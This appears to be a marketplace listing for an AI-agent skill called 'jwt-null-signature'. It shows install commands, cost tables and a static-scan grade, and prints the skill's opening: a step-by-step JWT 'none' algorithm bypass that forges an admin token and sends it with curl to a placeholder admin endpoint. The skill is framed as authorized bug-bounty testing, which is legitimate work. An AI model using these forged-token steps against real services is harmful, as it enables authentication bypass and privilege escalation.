Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/jwt-null-signatureWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/jwt-null-signature)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/jwt-null-signature"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/jwt-null-signature/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/jwt-null-signature"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/jwt-null-signature.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.01258 |
| Opus 5 | $0.00030 | $0.00629 |
| Sonnet 5 | $0.00012 | $0.00252 |
| Haiku 4.5 | $0.00006 | $0.00126 |
Grade A, and why
jwt-null-signature scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
Send the request with the new token via Burp Suite or curl. This is a copy
100% identical to jwt-null-signature — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 140 lines — stays where its author put it; the contents beside it link to each section on GitHub.
JWT 'None' Algorithm Bypass
When to Use
- When assessing web applications or microservices that utilize JWTs for authentication and authorization.
- Specifically during the initial phases of analyzing a JWT implementation to check for fundamental configuration flaws in token verification.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Capture and Decode the Token
Intercept a valid request containing your JWT (usually in the Authorization: Bearer <token> header or a cookie). A JWT consists of three base64-url encoded parts separated by periods: Header.Payload.Signature.
# Concept: Decode the Header and Payload Token: eyJhbGciOiJIUzI1NiIsInR5cCI...
echo "eyJhbGciOiJIUzI1NiIsInR5cCI..." | base64 -d
# Header Output: {"alg":"HS256","typ":"JWT"}
Phase 2: Modify Header to 'None' Algorithm
Change the alg value in the header. Servers might accept variations of the string "none".
// {"alg": "none", "typ": "JWT"}
// Other variations to try: "None", "NONE", "nOnE"
Re-encode this modified header to Base64-URL format (ensure no padding =).
Phase 3: Modify Payload (Elevation of Privilege)
Modify the payload to elevate privileges or impersonate another user.
// {"sub": "admin", "iat": 1516239022, "admin": true}
Re-encode the modified payload to Base64-URL format.
Phase 4: Construct and Send the Forged Token
Combine the new header and payload, appending a trailing dot, but remove the signature completely.
# [Base64_Header_None].[Base64_Payload_Admin].
Send the request with the new token via Burp Suite or curl.
# curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMiwiYWRtaW4iOnRydWV9." http://target.local/api/admin
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 140 lines · 60 tokens per session scan A 2c37bf6c1360
jwt-null-signature is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,258 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to jwt-null-signature, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
jwt-null-signature
Exploit JSON Web Tokens (JWT) by implementing the 'None' algorithm attack. This skill details how to bypass authentication mechanisms when a server improperly accepts JWTs with the alg header set to none, allowing attackers to forge tokens without a valid signature.
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jwt-algorithm-confusion
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